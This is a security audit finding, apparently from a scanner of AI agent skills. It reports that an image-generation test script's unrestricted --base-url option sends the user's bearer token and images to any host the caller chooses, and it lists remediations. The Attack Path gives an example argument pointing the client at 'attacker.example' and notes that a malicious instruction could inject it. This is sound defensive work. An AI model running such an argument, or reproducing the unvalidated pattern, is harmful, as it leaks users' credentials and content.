T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/test_nano_banana_2.py:310
- Finding
- Unrestricted API Base URL Can Expose Bearer Credentials and User Content<![CDATA[ ## Vulnerability Details **File Location**: `scripts/test_nano_banana_2.py:310`, `scripts/test_nano_banana_2.py:354-355`, `scripts/test_nano_banana_2.py:124`, and `scripts/test_nano_banana_2.py:169-174` **Vulnerability Type**: Unvalidated credential-bearing network destination **Risk Level**: High ### Vulnerable Code ```python parser.add_argument("--base-url", default="https://ai.t8star.cn") ``` ```python with httpx.Client(headers=_build_headers(api_key), follow_redirects=True) as client: ``` ```python resp = client.post(f"{base_url}/v1/images/generations", json=payload, timeout=300) ``` ```python resp = client.post( f"{base_url}/v1/images/edits", data=form_data, files=files, timeout=300, ) ``` The authorization header is constructed as follows: ```python def _build_headers(api_key: str) -> dict[str, str]: return {"Authorization": f"Bearer {api_key}"} ``` ### Technical Analysis The Skill documentation states that the API base address must remain fixed at `https://ai.t8star.cn`, but the executable script exposes an unrestricted `--base-url` option. No validation enforces HTTPS, the expected hostname, or an approved port. The API key is installed as a default header on the shared `httpx.Client`. Requests to the caller-selected base URL therefore carry the user's bearer credential. Image prompts and image-edit source files are also sent to that destination. This violates the Skill's documented trust boundary. The declared functionality only requires access to the designated image-generation service, so allowing arbitrary credential-bearing origins exceeds the minimum network privileges necessary. ### Attack Path 1. A user, malicious instruction, or compromised orchestration layer influences the script arguments. 2. The invocation supplies an attacker-controlled destination, such as: ```text --base-url https://attacker.example ``` 3. The script creates an HTTP client containing: ```text Authorization: Bearer ...[truncated 975 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove the `--base-url` option if alternate service origins are not a supported requirement. 2. If configurability is necessary, parse and validate the URL before creating any authenticated request: - Require the `https` scheme. - Require the exact approved hostname. - Reject embedded credentials, fragments, unexpected ports, and malformed hostnames. - Compare normalized hostnames rather than using prefix or substring checks. 3. Construct authenticated requests only after destination validation. 4. Avoid installing authorization as a client-wide default header. Add it only to requests sent to the validated API origin. 5. Disable automatic redirects for authenticated requests, or validate every redirect destination before forwarding credentials. 6. Add tests confirming rejection of HTTP URLs, lookalike domains, user-information URL syntax, alternate ports, and attacker-controlled hosts. 7. Align `SKILL.md` with the executable behavior so the documented fixed-origin policy is technically enforced. ]]>
